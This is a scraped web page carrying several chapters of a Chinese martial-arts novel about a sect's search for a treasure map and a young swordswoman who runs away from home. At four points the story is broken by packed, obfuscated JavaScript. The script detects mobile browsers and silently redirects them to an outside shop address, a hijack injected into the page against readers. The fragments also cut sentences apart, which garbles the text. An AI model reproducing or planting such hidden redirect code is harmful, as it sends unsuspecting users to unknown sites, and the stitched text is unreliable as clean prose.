RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976537|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝藏的下落。期初,他发觉有人暗入山庄,翻乱了他的书房,后续他的几个亲信也离奇死去。他小心守着秘密多年,一向警醒。怪事连发,他便怀疑来者不善,极有可能是想打藏宝图的主意。 他不便出面,便休书一份,让自己的夫人携女儿以回娘家探亲的名义,辗转将书信送到天魄门。可暗中窥视的人也不是等闲之辈,他们暗中派人监视贺夫人的娘家,发觉她改装出行便悄悄尾随。一直到扶风附近,才被贺夫人发觉。她为了保护女儿,自己带着人将尾巴引开,最后不幸被俘,敌人逼问藏宝图不果就把她给杀了。” 关于贺新韵的身世,包括紫璇在内的几个年轻人都只是略知一二,从未想过背后竟还有这样痛彻心扉的往事。 贺新韵安静听完,一把擦去涌出的泪水,接着讲述:“母亲把书信留给了我,叫我耐心等着,如果她三日之内不回来,我就需肚子出发,务必赶到太白山,亲手把信交给天魄门的门主。我等了三日又三日,吃光了她留下来的所有干粮,知道她再也回不来了……”她再次拭泪,坚持说下去:“我没有辜负她的期望,一路不敢停歇,终于到了山脚下……” “遇到了我。”许淑平把话接了回去,“当时晗月病重,远骥写信邀我回来。刚刚好在山下遇到她,那时候她只有十五岁,饿着肚子日夜兼程,到山下时已经奄奄一息。我把她带上来养伤,等她醒转,才知道她原来是贺永诏的女儿。还算是老天有眼,除了虚弱些她没有落下病根,也没有受伤。 “贺永诏在信中详细说明了苏明启当年寻宝失败后对他的密令。按理说,这世上不会有第二个人知道他曾参与寻宝之事,但不知为何还是走漏了风声,他担心幕后之人还有后招,自己难保无虞,求我们庇护他的妻子和女儿。” 贺新韵忍了又忍,听到她最后一句话,还是禁不住大哭起来,将头埋进了臂弯之中。紫瑛想去安慰她,又不知道如何做才好,只好离得她近一些,暗暗希望她不要太难过。 “这么说,贺庄主当年是唯一知道藏宝地点的人?”江珺翊问。 “对,那些人就是探知了这一点才去找他的。先是翻找,未有所获之后便直接出来逼迫,新韵上山之前,贺永诏就已经横死在了贺家庄。” “逼死贺庄主的人是谁?是夺门之变时的那伙人吗?” “不好说,贺家之事我们所知有限,很难断定他们是同一批人。但贺永诏刚被逼死,没一个月就发生了夺门之变,若说这二者没有关联,我是不信的。” “前辈说的有理。”沉默多时的文远骥突然出声,“伤好之后我辗转多地,寻出当日闯山之人。他们皆说参与夺门是受人唆使,但问起幕后之人到底是谁却大多语焉不详。我留了心,便专找他们麾下入门不久的弟子打探:师长半年来都和谁来往、给他们派了什么差事。这些琐碎信息拼在一起,共同指向了一个人。” “是谁?”紫璇问。 “师父的三弟子,魏崧泽。” 91. 幽怨 “这么说,觊觎藏宝图四处害人的幕后黑手,从头至尾都是魏崧泽?”紫璇总结道。 “不管怎么说,魏崧泽都是你们的长辈,称呼上不可懈怠。”江邵谦刚刚送完人回来,坐在了文远骥下首。他一向重视规矩,听到紫璇对魏菘泽直呼其名,自然要指出来。 文远骥对此却并不在意,答道:“是。但其余人也不一定是受了他钳制,更可能因存了分赃的念头才与之合作。” “我不明白,十年前他隐匿幕后,为何今日却要自己跳出来?” 其余山歌年轻人也都有相同的疑问,纷纷看向文远骥,期待他赶快解惑。 文远骥扶额苦笑:“他设的局已经成了,出不出面并不影响他的谋算。故意露面反而能激将于我。” “什么叫‘他设的局成了’?我们不是已经在武林大会上澄清真相,洗去污名了吗?”紫瑛反问。 “三起凶案,牵涉到江湖中的两个帮派、一个名家,引得人人瞩目,一时间天魄门秘宝成为了全江湖的谈资。我们虽然逃脱了污蔑,却逃不出继续寻找藏宝图的命运。” “为什么?”话刚出口,紫瑛已然明白过来,“刚才那些人来这里的目的,就是逼我们去寻找藏宝图?” 江珺翊和贺新韵目睹了议事堂上发生的事情,此刻都沉默不语。 顺着文远骥的话,紫璇不难想到六人气势汹汹前来逼迫的理由:“新的藏宝图现世,又下落不明。要是不行动起来,让宝藏落入他人之手,我们就都是天魄门的罪人。” “我们倒在其次,师兄身为门主首当其冲。”江邵谦也难得地露出鄙夷的神情。 “那你们是怎么想的?真的要去找杨世坤手上的那副藏宝图吗?”紫瑛紧接着问。 “我们别无选择,不仅要找,还得先于其他人找到。”江邵谦先道。 文远骥语气更为坚定:“对,若我们能先将藏宝图握在手中,用不用、怎么用就都由我们说了所,旁人休想置喙!” 许淑平也道:“这是目前来说最好的盘算了。藏宝图一事已经传遍江湖,许多有心之人只怕早就动了起来,我们也要赶快定个章程。” 有了行动目标,紫璇的情绪好转不少,立刻直奔主题:“杨世坤已死,他死后也没有从他身上找到藏宝图。我们要去哪儿找这副图呢?” “不好说。如果他藏得好,肯定就还在和他有关的某个地方,但也有可能早被倪家庄的人搜了去。”江邵谦道。 江珺翊也补充道:“对,余漱刚死,赵绪良就赶到余家将那里围了个水泄不通。如果余漱把图藏在家里的话,十有八九已经被他翻出来了。” “但杨世坤是个精明人,他想独吞藏宝图,就不会把它放在一个容易被发现的地方。方瑾瑜陷在倪家庄地牢中时,赵绪良还没有藏宝图的下落,而且非常害怕杨世坤撒了谎。这就说明至少在这件事情上,杨世坤是防着倪家庄的。之后易容假死,也是为了逃出倪家庄的掌控。”紫璇分析道。 “如果倪家庄尚未拿到藏宝图,那接下来一定会在杨世坤和余漱曾经出没过的地方到处搜寻。”江珺翊说。 “可赵绪良已死,倪家庄销声匿迹,要如何追踪他们的行动呢?”紫璇已经想到了下一步。 “魏菘泽藏在暗处,要想找到他们的踪迹极为困难。尤其是我们偏居多年,很难及时把握敌人的动向。此次追查真凶的过程中,正是因为消息不通才屡次受挫。当务之急,必须先把消息网建起来,让江南的情况也能一一传到我们的耳朵里。”许淑平高瞻远瞩,指出了天魄门当前最关键的短处。 “前辈所言正中核心,我也是这样想。所幸长风镖局的总镖头齐建霄在襄阳时有意相帮,承诺会留意江南一带的情况,并派人传递消息给我们。”文远骥接着许淑平的话说道。 “齐建霄愿意帮忙,是个好信号,以后可以多和他往来。不过,咱们自己也必须有一条可靠的消息线路。”许淑平一边说一边望向贺新韵。 文远骥也已领会她的想法,赞同道:“不错,贺家庄原本就是天魄门设立在东面的消息据点,远诏兄受师父遗命脱离天魄门,我们便少了一只耳朵。如今要恢复消息网,第一步便是要恢复对贺家庄的控制。” 江邵谦闻言,也点着头说道:“贺家庄现在的庄主是贺永识,他有三个儿子,小儿子不太成器,每日偷鸡斗狗,惹得乡里怨声载道,弄得贺家如今的名望也大不如前。贺永识的妹妹贺永芳外嫁给伏牛山大当家的长子做媳妇,没上三年死了夫婿,因和婆家相处不快赌气回了娘家,如今贺家许多对内的事宜听说是由她打理的。” “小姑姑脾气大,未出阁时就敢和哥哥们打架。”说起她,贺新韵的眉心终于舒展开来,“听说为了抗婚她差点把贺家庄搅翻了天,不过最后还是没能拗过祖父的意思。” “她回家后还是如故,听闻她和二哥贺永识也有矛盾,只是同在屋檐下,不好完全撕破脸而已。”许淑平也露出淡淡的笑容。 “那咱们下一步就是去贺家庄?”紫瑛问。 “要去,不过得先把台子搭好。”文远骥笑道。 紫瑛摇头,不明白他的意思。 “凭咱们几个人,要想让贺家庄上下几十口人全部听命实在不现实。咱们不妨学一学魏崧泽,把局面搅得热闹些,我们才好发力。”许淑平解释道。 她说的只是思路,文远骥则补上了具体的办法:“我和前辈想的一样,既然江湖人人都巴望着藏宝图的消息,那我们就顺水推舟,把远诏兄曾陪同师父寻宝的消息散布出去。一方面让隐于幕后的魏菘泽动起来,同时也可看一看到底是哪些人在眼热不属于自己的东西。” 的确是好计策,紫璇一边听着一边不由得点头,顺着文远骥的话思考起来。 这之后众人便商议起后续的具体行动,说到下山去贺家庄时,贺新韵作为贺永诏的独生女儿肯定要出面,江珺翊和紫瑛也有要承担的任务。可到了紫璇这里,文远骥却说:“你留下来,好好练功。” “为什么?”紫璇立刻站起来,拧着眉眼问,“是因为前一桩事我办得不好,耽误了天魄门早日澄清?” “不是的,让你留下来有别的原因。这不是对你的惩罚。”文远骥没想到她竟然这样想,立马向她解释。 “不是惩罚那是什么?难不成还是对我的保护?可笑,那紫瑛为什么可以?” 文远骥又沉默了,每当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984356|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不想说真话的时候就会沉默。 “直说了吧,我根本不是你亲生的!” 多少次,紫璇想当着他的面吼出这句话,可每一次话到嘴边,最终还是会被咽下,然后被压到意识的最深处,直到下一次再被血淋淋地挖出来。这次也不例外。 自出生起,她就被迫和母亲分离,几个月后才被文远骥寻回。据说,晗月被救后,一直惦念着生下来就被送走的女儿,文远骥辛苦寻了几个月,才在一户农人家中找到了一个女婴,月份和晗月的女儿一样,眉眼也有些相似。送回来晗月只瞧了一眼,便确信这就是自己失去的那个孩子,然后紫璇就作为门主家的二女儿一直长到八岁。七年间,晗月与她不甚亲近,偶尔和她独处也会露出失落怅惘的神情。 而文远骥作为父亲也甚少关心她。她长到六岁时,江珺翊开蒙拜了师父,文远骥每日都会抽出时间指点他练功。她眼热,央求父亲一起教她,心想这样或许她也可以每天和爹爹有一段相处的时间。 可是文远骥不允,被她烦得不行了,才传给她一套入门拳法,并说除非她能在三日内练熟,否则休要再提学武之事。她咬着牙,不眠不休地练了整整一天一夜,终于能够流畅地打出那一套拳,高兴地连觉都不睡,立马去找文远骥演给他看。一套拳打完,虽有不足,但并无太大错处,一旁的江珺翊都为她叫好,而文远骥只是长长叹息,似乎很不愿意履行自己的承诺。 一年多以后,夺门之变事发,文远骥受伤,晗月身死。他醒来没多久,就和许淑平商量要把紫璇送到秋山居,美其名曰她的身体不好,需要许淑平时时照料。 真是荒谬,她幼年时发病更多更急,都不曾被直接托付给许淑平,何以晗月一走,她的病就立马严重到需要许淑平日夜看顾了?无非是因为晗月死了,这个当初被寻回来,用以安抚她的“女儿”自然就没有了存在的必要,直接扔掉别人会质疑,不如送出去,眼不见为净。 这之后,她的生命里就只有养病和练功这两件事。她必须听话乖乖扎针喝药,这样姥姥才会喜欢她。她也只有拼命练功,练得又好又快才能换来文远骥的亲自考校。 刚开始,文远骥送来的刀剑拳脚还比较简单,她至多花几个月就能练得无懈可击。可是到了后来,所学武功越来越复杂精深,每遇到一点凝滞处就要花费十天半月甚至好几个月才能有所突破,这样一来她常常一两年都见不到文远骥。虽然他从未落下任何一个年节和生日的衣食礼物,紫瑛也经常来秋山居长住陪她,可都无法填补她打小缺失又极度渴望的东西。 年纪小的时候,她还会大着胆子问许淑平,为什么爹爹不来看她,是不喜欢她吗。换来的只是陈旧的借口和许淑平偶尔泄露出的一点不忍和愧疚。几次之后她的心中便隐隐有了一个答案,关于为什么爹娘都不喜欢她,关于她为什么被丢出那个遥远的家。 这个答案太难以启齿,她从来都不敢说出来,仿佛一旦宣之于口,这件事就再也没有了转圜的余地,她心中仅剩一丝丝的希望就会瞬间消失。 所以,当这个念头再度浮起,她也只是咬紧牙关又把它咽了下去,并且为了阻断自己说漏嘴的一切可能,立刻头也不回地跑出了议事堂。 92. 出走(一) “不认识。” “没见过。” “这里没有这个人。” “姓‘骆’?没听说过。” 紫璇拿着阿琼留下的手绳在邓州南阳*石桥镇足足打听了三日,问遍了镇上的几乎所有的店铺和住户,但答复都是如此。气馁的她也没有理由继续在此盘桓,便出了镇子,漫无目的地向东而行。 自从那日负气下山已经过去了七八日,紫璇也已渐渐冷静下来,开始后悔当时是不是太冲动了些。可若真要回去再面对文远骥、许淑平还有紫瑛等人,她也觉得头疼,毕竟当时从议事堂中冲出来的样子实在太不像平日的自己。 “不让我下山,我偏要走!”她一门心思想要逃离,当时正在半山巡查的党元恒怎么拦都拦不住。 下山之后她才意识到自己根本没有地方可去,要是回秋山居定然免不了被谭修明各种盘问,一样麻烦。一摸袖口,阿琼的手绳还缠在腕上,紫璇记起对她的承诺,一下子有了答案,便立刻东行。 路上抢了个脑满肠肥的迁官,有了银两置办代步的马匹,也不愁吃住。一路快马加鞭,好不容易到了阿琼字条上所说的石桥镇,谁知一连问了三日都一无所获,完成不了阿琼的遗愿,紫璇更加郁闷。 就这样一会儿想起那日冲动的自己,羞恼一阵,又一会儿回忆着为自己挡刀的阿琼,哀叹一阵,不知不觉间,紫璇竟然走到了一座小山的脚下。 此山约有百丈,孤峰峭立,一山独秀。紫璇正抬头仰望,突然从山顶上跳下一个人来,出于本能,她立刻飞身向上,想要救下他。 哪知她的手刚刚触及那人的衣角,对方却在空中击出一掌,差一点拍中她的头颅。她急忙闪避,但因为在空中无所借力,只能强行凭借腰腹力量偏转,落地时重心难免不稳,竟直接摔到了地上。而那个“跳崖”的人则好整以暇地轻轻落地,展露了一手高妙的轻功。 那人本想扶她,紫璇却不愿被人看见狼狈模样,赶在他走过来之前凭借腰力一跃而起。 “好俊的功夫!”那人赞叹道。 紫璇轻轻拍打着身上的尘土,白了他一眼:“好端端地,干什么从山上跳下来!” “不死一死,如何能体会生的乐趣?”那人淡淡地道。 “有病!”紫璇心里骂道。刚刚用手撑地弄伤了手腕,此刻隐隐作痛,她掀开袖子检查伤势,发现只是些许擦伤,才放下心来。 那人瞥见一抹绿色,猛然捉住她的手腕,指着手绳急道:“你从哪里得来的这件东西?!” “你认识?”紫璇扬起手腕,看向那人。 那人点头:“是我一个朋友之物。” “朋友?叫什么名字?”紫璇依旧警觉。 那人却没有回答这个问题,而是问她:“她死了?” 他神色落寞,似乎为阿琼的死很是惋惜,紫璇也不由得放软了气势:“是,她托我到这里送信……” “她要杀的人死了吗?”那人打断她的话,又问。 “没有当场死去,但听说受了重伤,一直昏迷着。” “你帮了她?”那人开始仔细打量她。 “算是吧,但……” 她话还没说完,那人突然出手制住她手腕,继而扯下手绳飞出,只留下了一个远去的背影。紫璇随即向着那个背影追出。 那人仿佛故意炫耀自己的轻功似的,每当紫璇看不见他时,他就慢下来,等到紫璇马上就要追上,又猛地蹿出老大一截。刚开始,紫璇还只是想要拿回阿琼的手绳,被他三番四次挑衅得热气上涌,只想追上他然后痛扁一顿,顺便把手绳夺回来。 也不知过去了多久,那人仍旧不知疲倦,一下又一下地出现在紫璇视野当中。紫璇背上已经湿透,却还是追不上他,当真是又气又急。 经过成片的庄稼和交错的乡道,人烟渐渐多了起来。那人再次在她眼前一闪,蹿进了城门。 到了城里,人一多起来,他就更容易逃脱了,决不能让他跑了!紫璇这样想着,再提一口气,马上也冲了进去。那人在街巷里七转八弯,最后消失在了人堆里。 左看右看,紫璇再也找不到那人的半点影子,对他对自己的气愤都到了顶点。 前方人声鼎沸,传来一阵阵叫好之声,后面陆陆续续地还有人向前涌过去,都急不可耐地想要凑热闹。 紫璇低垂着头,缓缓把气喘允了才慢慢往前走。路过聚集的人群,才知道这里原来是个比武的场子,场上一男一女正在相互试探。 女子出现在这种场合,周围旁观的人都觉得十分稀罕,全都目不转睛地盯着台上两人。台下有人开起了赌局,众人都一边倒地押那个汉子胜。这也不奇怪,且不说女子练武出世的本就在少数,只看两个人的形貌,一般人也不会觉得那女子有胜算。 对阵的男子高出那女子一个头还要多,身子有那女子的两倍宽,恐怕只要他挥一挥拳头就能将眼前的女子打飞。 他本人也这样想,嘿嘿狞笑:“小姑娘,不好好在家好好绣花,跑到这里做什么?” 那女子回以冷笑:“绣花我可不会,看兄台的样子,说不定很是擅长。” 那人五大三粗,实在难以想象他绣花的样子有多么滑稽,台下众人稍一想象便哈哈大笑起来。 男子恼羞成怒,也不再试探,直接伸出拳头朝对面的女子冲去。那女子左足轻点,从他的背上翻了过去,台下看客都叫起好来。这一下闪避乃是基本的身法,并不高明,难得的是女子落地时极为轻巧,仿佛刚刚只不过跨过了一个小小的水坑。 男子一击不中,反身再次出拳,这一次瞅准了女子的下巴,势必要打歪她的脸。那女子毫不怯战,疾趋两步,先那男子一步蹿到他身前,迅速矮下身子,伸指往他腋下一点,男子手臂顿时酸软,像死鱼一样垂了下来。 女子再次漂亮地闪身,回到了原来的位置,众人再次叫好。 男子怒意更甚,一双眼珠子像是立刻要从眼眶里蹦出来,呼哧呼哧地又向那女子俯冲过去。那女子如法炮制,点地、跃起、翻身,一气呵成,不同之处则是在落地的同时右掌送出,打在了男子背上,将他推出半丈远。 男子怒吼一声,运劲在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003490|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小臂,两拳交替出击,速度快到周围人只能看见残影。女子不慌不忙,仍是点地、跃起、翻身,这一次右掌击中了他的肩膀。男子这次用了全力,再受那女子的掌力,一下子没能站住,不由自主地趔趄了丈余才勉强站稳,姿势甚是难看。台下之人的轮番起哄,他的脸已经胀成了猪肝色。 那女子已经没有耐心和他周旋,叫着:“技不如人,赶快下台去吧,”接着弓步向前,右手成掌,打中他的前胸,将他击落台下。擂台边上监场之人挥舞擂旗,高喊:“乐姑娘攻擂成功!”又冲着台下:“有想和乐姑娘切磋的,向我报了名字就可以上台。” 接着,陆陆续续又有四五个男子上台打擂,功夫一个比一个高,但都被这位乐姑娘轻易拿下。场下原本愉快叫好的看客渐渐地不是滋味:“一个姑娘家的,怎么恁般厉害!”还怂恿和自己同来的兄弟:“你功夫好,去煞煞她的锐气。” 可有脑子的人都瞧出她的功夫不赖,要真想把她打下去,没有真功夫可不行,是以虽然嘴上不饶人,真正敢再上台挑战的人没有几个。 监场之人叫了两遍都无人上场,正准备宣布她获胜成为擂主,突然从台下蹿上来一个人,也不通报姓名,直接探到乐姑娘身前抓她手腕。乐姑娘跃起至半空,被他举手抓住一只脚腕拉了下来。她便用另一只脚猛踢他胸口,那人吃痛,不由得松手。 甫一落地,她便右脚击出,用螳螂腿的招式继续朝着对方的胸口出击。那人应变也极快,接着双手变爪,擒住她的脚踝用力一转。乐姑娘身子不受控制地偏向一侧,忙用左脚踢他虎口。他手腕微松,乐姑娘右脚再次用力,挣脱了他的束缚。 一起一落之间,胜负之势随之多番逆转,众人全神贯注地盯着二人出招对招,场子一时间竟变得鸦雀无声。 对阵继续,男子招式狠辣,每一招都冲着对方的要害,想要将她抛下擂台。而乐姑娘则总是能在关键时刻扭转局面,化险为夷。情势顿时胶着起来。 紫璇被这番打斗吸引,她也想看看,这位看上去和自己年纪相仿的女孩子究竟能不能守擂成功。正专心看那女子拆解对方的招式,眼看着就要占据上风,耳侧突然发出异响,一团银色擦着自己的耳朵飞了过去。无需多想,她立刻抽出手中短剑,稍一纵身便击落了那枚物事,果然是枚暗器。紧接着,又有三枚暗器同时从三个方向飞出,朝向的都是台上正在全神对敌的乐姑娘。 短剑上下飞舞,紫璇在半空中接下三枚暗器,握在手上。原本密切关注着台上的看客发觉另有一名女子在台下动武,还用上了兵刃,大惊之下立刻乱糟糟地退开,只留紫璇一个人在新开辟出来的空地上。 她警惕地注视着后退的人群,果然等到后退的人影中再次飞出暗器。紫璇抽准暗器的来路,手腕一扬,手中三枚暗器齐出,打中了飞来的一枚蛇形镖。紧接着,人群中有人嚎叫了一声,倒了下去。 几乎与此同时,台上的乐姑娘也将与之对阵的男子打倒在地,右脚踩在了对方身上。 ————————————————— *今河南南阳 93. 出走(二) “乘人之危,猪狗不如!”紫璇上前捡起落在地下的两枚暗器,对着倒下那人骂道。周围看热闹的人这才反应过来,原来台上男子在台下还有帮手,准备趁乐姑娘不备偷袭于她。 监场之人率先叫道:“这位先生和自己的同伴暗中配合,以一敌二,坏了规矩,以后不能再参与比擂,余者引以为戒。之后又向那位乐姑娘道贺,并把擂主所获的彩头也给了她。 乐姑娘接过装着银子的布包,不走台阶,而是直接从擂台上跳下来,到了紫璇身边。 “多谢你出手相助!” 离得近了,紫璇才发现那女子是自己见过的。 “原来是你,你又救了我!”乐姑娘也认出了她。 **************** 大约三四日前,紫璇在赶路途中错过了宿头,一直到天色全部暗下来才找到一间小客店,托付了马匹、订好了客房之后才来到大堂用饭。这时还在饭堂中的人都是来喝酒划拳的,每一桌都摆着酒水和下酒的小菜。 她选了个角落入座,胃口欠佳,正慢悠悠地咀嚼着寡淡的面饼。 厅中大多是男子,一边喝酒划拳一边大声喧哗着,也有不少身着武人服色,腰间别着武器。紫璇下山后为了行路方便换成了男子衣衫,除吃饭睡觉外都以斗笠遮面,一路上从未遇见过什么麻烦。 忽然,两张桌子爆发了冲突,似乎是一桌的男子看见了另一桌上也在喝酒的女子,想邀她一起,被她拒绝。那桌男子中有一个已经颇有醉意,借着酒劲竟然要强迫那女子陪酒,被那女子挥拳打中,那人站立不稳倒在了桌上,导致桌上的杯盏碗盘有一大半都被扫到了地上。 同桌其余人见状也都起了歹意,欲拉扯那名女子,双方便扭打起来。那女子会武,瞬时间便给每个人脸上都留下了拳印。但等那些人回过神来,开始小心应对之时,女子孤身一人的弱势就显露了出来。那些男子都不是什么光明磊落之辈,专门趁着她和自己的弟兄周旋时突施袭击,还好那名女子身法极为灵巧,总能在关键时机避开对方的黑手。 那伙人是方圆百里有名的恶霸,其余酒客见此情景立刻躲在了一边,无一人敢上前帮忙。紫璇看了一会儿,那女子身法不错,但拳脚上的基本功不够,下手忒轻,伤不了人,围攻之下很难有胜场。而对方人多势众,又都是力气大男子,相持越久她便越吃亏。 就在这时,其中两个男人猥琐地对视一眼,继而手臂前趋,欲抓那女子的身体。紫璇再也忍不住,越众而出,先是踢中了一个人的脑门,落地时又大力踩向了另一个人的脚面。两个人痛得大叫出声,吓退了其余想要围拢过来的人。 这些人愣了半响,相互交换了几个眼神,取出武器一拥而上,都冲着紫璇扑了过来。紫璇剑不出鞘,左右上下忽点忽劈,将对方的武器一一打落;那女子也立刻恢复攻势,上手去抓离自己最近的两个人。两人配合之下,没花多长时间,这伙人便齐刷刷地躺在了散落的酒菜和桌椅板凳之间,在地上翻滚哀嚎,就是起不了身。 紫璇拍拍手,将剑别回腰间,看都不看地上的人,骂道:“滚!别再让我看见你们欺负人,否则下次就不会剑不出鞘了。” 那女子也拊掌大笑:“怂了吧!还敢欺负小娘!快滚吧,少在这里丢人现眼。” 周围的看客也纷纷拍手,大骂那些人不知廉耻。那伙人羞愤难当,奈何紫璇功夫太强,就算是丢人也还是赶紧保命为上,便挣扎着爬起来,瘸着腿歪着嘴,跑出了客栈。 客店老板赶忙出来收拾残局,被紫璇帮助的女子拿出一锭银子嘱咐他:“多弄些酒菜,我要向这位姑娘敬酒致谢。” 她原先所坐的那一桌早已经化为各种碎片,老板就把新的酒菜摆在了紫璇的桌上。两人回去坐下,看热闹的人们也渐渐回席,继续起自己的酒局。 那女子先道:“我叫乐青澜,刚刚谢谢你,若不是你拔刀相助,我肯定要吃亏啦。”然后举起一盏酒水一饮而尽。 紫璇也报了自己的姓名,但没有喝酒。 “你怎么不喝呀?这家酿的米酒远近闻名,来这里的人大多都是为了这一口。” “我从来不喝酒。” “是吗?有什么原因吗?”乐青澜好奇问道。 “家中长辈不让,我自己也不喜欢。” “那可惜了,这东西很香醇,喝上一碗,身子就会变得轻飘飘的,像是坐上了云彩,别提多舒服了。” 紫璇微微一笑:“你喜欢的话就把这些都喝了吧。” 两人又聊了一会,乐青澜夸赞她的功夫,顺嘴问起她的师承,紫璇想起文远骥关于她“不可下山”的叮嘱,便随便遍了一个,乐青澜也没有多问。 **************** 再次遇见,乐青澜直呼二人有缘,问她:“为何会来这里?莫不是也是来打擂的?” 紫璇马上否认,只说是因缘巧合游历至此。 “那真是可惜了,就凭你的身手,这个擂主非你莫属。”乐青澜举起手上的钱袋,“还有这么多的彩头!” 她言语亲切,紫璇不好冷场,便问她:“这里怎么会有擂台?” “这个擂台设在这里有一阵子了,每日开擂,车轮站,赢到最后的人就可以当擂主,拿赏钱。”她又贴到紫璇耳边:“听说,这里是曹家堡设下的擂台,要给自己网罗人才呢。” “曹家堡,是洛南那个曹家堡吗?” “正是,现任堡主叫卢金良。” 洛南曹家堡卢金良,紫璇脑中立刻浮现出太白山上所见的面容,马上在意起来:“曹家堡在洛南,怎么反而在这里设擂台?” “谁知道呢?大概是因为曹家堡势力大不如前,想走远些招揽外埠的人才吧。”乐青澜摇着头,“不过这也是大家的谣传,摆擂台的人可从没说过自己的来历,还挺神秘的。” “当真?他们为何要如此?” 她问得极其认真,乐青澜不禁仔细打量起她,问道:“你和曹家堡有旧?” 紫璇不愿被她探听心事,便道:“那倒没有,只是在家时听人提起过,有些好奇罢了。” 乐青澜若有所思,片刻过后问她:“你有急事吗?我就住在这,你要愿意到我家去做客如何?” 面对女孩子,紫璇的警惕心没那么强,加上还想从她这探听有关曹家堡和擂台的消息,便应道:“也好,反正我也左右无事。” 她的家在城东,一处民居,开着一扇黑漆漆的门。紫璇跨进门刚看了两眼,就瞥见了先前夺取阿琼手绳的男子。来不及多想,她立刻纵身扑上,一下子扣住了对方的手腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017349|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “把我的手绳还来!” 乐青澜一头雾水,急忙上前:“你……你们认识?”又瞅着那男子被紫璇紧紧箍着的手腕,“怎么了?他招惹你了?” 那男子仍是一副无所谓的神色,对乐青澜说:“她戴着阿琼的信物,她帮过她。” “真的!”乐青澜突然兴奋地大叫,“那阿琼呢,她人在哪?” 紫璇被他们二人搅得有些糊涂:“你们……认识?” 乐青澜点点头,让她快放开那个男子,说“都是自己人,若有误会解开便了。” 紫璇依言松开,那男子捏一捏刚刚脱离紧箍咒的手腕:“你也太用劲了,好疼!” “你死都不怕,还怕疼!”紫璇仍然有气,说话就不那么客气。 “难不成你又去跳崖了?”乐青澜一脸无奈的问。 “对啊,然后遇上了这位姑娘,还特地带她来见你。” 这一下紫璇更加惊讶,这是怎么说的?他的目的竟然是这个!乐青澜也同样诧异。 “我叫韩仲昌,以后就算认识了。”韩仲昌取出手绳交给她,“阿琼既然给了你,它就是你的。” 紫璇接过来,脑海中还在思考他刚才说的那句话:“你故意引我到此,到底要干什么?” “此事说来话长,我们进去说。” 进到院里,里面还有三个人:周婶,一个略微有些发福的中年女子,是个寡妇;王六,一个年轻的小伙子,瘸了一条腿,走起路来有些不便;阿彬,是个侏儒,个头和六七岁的孩子无异,看不出年纪。他们都是无亲无靠之人,又都因为各自的情况被人嘲笑迫害,便被这里的主人收留,一些吃饭穿衣的事情就由他们做主照料。 王六正在灶上忙活,看到有人来,咧着一张大嘴笑道:“你们先坐一会儿,饭马上就好!”周婶在一旁帮忙,阿彬则坐在院中纳凉,膝上放着一个针线篓子,似乎正在做什么衣物。 有意思的是,没有一个人对自己家来了生人表现出一点儿惊讶,仿佛这是这座院子里发生的最平常不过的事情。 乐青澜向他们介绍了紫璇,然后引着她到堂屋,韩仲昌也跟着一起。 “你是怎么遇上阿琼的?她人呢?”屁股还没坐稳,乐青澜的问题已经出口。 “阿琼回不来了,她死了。”不用紫璇回答,韩仲昌先说了出来。 “什么!”乐青澜先是震惊,随后又像是想起了什么,问道:“那她的仇报了吗?” “报了。五月下旬的时候,我在嘉兴,就听说范广胜昏迷不醒,离死期不远。这个时候大约已经咽气了。”紫璇道。 “我会派人去嘉兴查问,看看范广胜是不是以及死了。”韩仲昌对乐青澜说。 “要是他还没死呢?” “我会帮阿琼完成心愿。”韩仲昌语气冷静,毫无波澜,仿佛在告诉她们晚上吃什么。紫璇不由得瞄了他一眼。 “师父一直不同意阿琼报仇,你还敢这么做?” “他拿我没办法。你不要掺和就行。” “你们的师父,”紫璇捏住手绳上的那个小木牌,推到二人面前:“姓‘骆’?” 两人同时转头,乐青澜先道:“是呀,不过他对外却很少用自己的本名,反而自称姓虚,‘虚无’的那个‘虚’。” 94. 掳掠(一) “我师父对外自称姓虚,‘虚无’的那个‘虚’。” “这个姓倒是很少见。” “我师父是个怪人,每次出去都要换个新名字,还总用些生僻的字眼。”乐青澜撇嘴道。 “阿琼也是这位先生的弟子吗?”紫璇问。 “阿琼是被我师父收养的,只学了一些简单的防身之术,并没有拜师。我和仲昌哥是他的弟子。”乐青澜答道,之后又问,“你和阿琼是怎么认识的?莫不是你助她报仇了?” 